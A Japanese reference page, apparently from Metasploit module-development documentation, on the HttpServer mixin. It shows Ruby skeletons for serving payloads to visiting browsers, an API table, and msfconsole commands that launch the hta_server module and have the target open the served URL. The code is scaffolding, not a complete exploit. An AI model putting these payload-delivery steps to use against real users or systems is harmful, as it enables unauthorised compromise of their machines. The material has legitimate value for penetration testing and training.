HttpServer
Msf::Exploit::Remote::HttpServer は、攻撃側で HTTP サーバを立て、クライアント(ブラウザなど)にコンテンツやペイロードを配ります。実装は lib/msf/core/exploit/remote/http_server.rb です。
| 用途 | 例 |
|---|---|
| ブラウザ exploit | 罠 HTML / JS を返す |
| ファイル配信 | HTA、実行ファイル、スクリプトを download させる |
| 混合 | HttpClient で管理画面を操作し、HttpServer でペイロードを配る |
include
Section titled “include”include Msf::Exploit::Remote::HttpServer# HTML 特化include Msf::Exploit::Remote::HttpServer::HTML主なオプション: SRVHOST、SRVPORT、URIPATH、SSL など。
パターン: on_request_uri
Section titled “パターン: on_request_uri”def exploit # サービス開始は親が担うことが多い superend
def on_request_uri(cli, request) print_status("Client #{cli.peerhost} requested #{request.uri}") payload_data = regenerate_payload(cli).encoded html = %|<html><body><script>/* deliver */</script></body></html>| send_response(cli, html, 'Content-Type' => 'text/html')end| API | 用途 |
|---|---|
on_request_uri(cli, request) | リクエスト受信時の本体(override) |
send_response(cli, body, headers) | 応答 |
send_redirect(cli, location) | リダイレクト |
send_not_found(cli) | 404 |
add_resource / hardcoded_uripath | 追加パス |
regenerate_payload(cli) | クライアント向けペイロード再生成 |
get_uri | 被害者に渡す URL |
パターン: 単純配信
Section titled “パターン: 単純配信”def on_request_uri(cli, _request) data = File.binread(datastore['HTML::path']) rescue payload.encoded send_response(cli, data, 'Content-Type' => 'application/octet-stream')enduse exploit/windows/misc/hta_serverset SRVHOST 10.10.16.10set SRVPORT 8080set URIPATH /xrun# 表示された URL を対象側で開かせるクライアントがこちらへ来る経路(DNS、リンク、XSS など)が別途必要です。

